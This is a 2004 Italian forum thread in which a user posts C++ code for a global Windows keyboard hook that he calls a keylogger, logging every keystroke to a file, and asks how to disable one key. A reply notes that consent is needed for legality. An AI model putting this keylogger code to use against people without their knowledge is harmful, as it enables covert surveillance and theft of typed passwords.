PDA

Visualizza la versione completa : [C++] Controllare tastiera


giuggione
17-06-2004, 16:40
Ciao a tutti.
In un mio programma in c++ sn riuscito a creare un hook alla tastiera ed ora sn in grado di registrare su un file tutto quello che viene scritto sulla tastiera anche se il mio prog nn ha il focus (un keylogger insomma)....ora volevo chiedervi se sapevate dirmi un modo per riuscire a controllare ogni evento della tastiera ad esempio disabilitare un solo tasto della tastiera.
Sapete dirmi come posso fare?
Grazie ciao :ciauz:

MMarzia
17-06-2004, 17:55
immagino serva il consenso all'installazione perchè il tutto sia legale..

comunque da regolamente specifica il linguaggio nel titolo del 3d

Xadoom
17-06-2004, 21:19
Se stai programmando con le API di windows masta che gestisci il messaggio WM_KEYDOWN :ciauz:

giuggione
18-06-2004, 09:31
Ciao di nuovo.
Probabilmente nn mi sn spiegato molto bene....in pratica il mio prog grazie all'hook prende il messaggio del tasto pigiato lo scrive sul file che ho scelto io....però anche il sistema fa la stessa cosa in modo che scrivendo le lettere cmq appaiano sullo schermo.
Ora la mia domanda è sapete dirmi un modo per impedire al sistema di eseguire le sue operazioni?
Preciso che il mio prog funziona anche quando nn ha il focus.
Grazie ciao

giuggione
21-06-2004, 10:47
Ciao. Ho creato un piccolo key log composto da un dll e da un exe. Il dll è formato da 3 funzioni che sn:
void installhook(HWND h)
{
hook = NULL;
hwnd = h;
hook = SetWindowsHookEx(WH_KEYBOARD,hookproc,hi
nstance,NULL);
}
void removehook()
{
UnhookWindowsHookEx(hook);
}
LRESULT CALLBACK hookproc(int ncode,WPARAM wparam,LPARAM lparam)
{
if(ncode>=0)
{
if((lparam & 0x80000000) == 0x00000000)
{
hwnd = FindWindow("#32770","Keylogger Exe"); PostMessag(hwnd,WM_USER+755,wparam,lpara
m); }
}
return ( CallNextHookEx(hook,ncode,wparam,lparam)
);
}
}
In questo modo salva tutti i tasti premuti in un file txt. Ora volevo chiedervi come posso disabilitare un tasto della tastiera?? Credo bisogni modificare la funz hookproc ma nn so come
Grazie ciao

Loading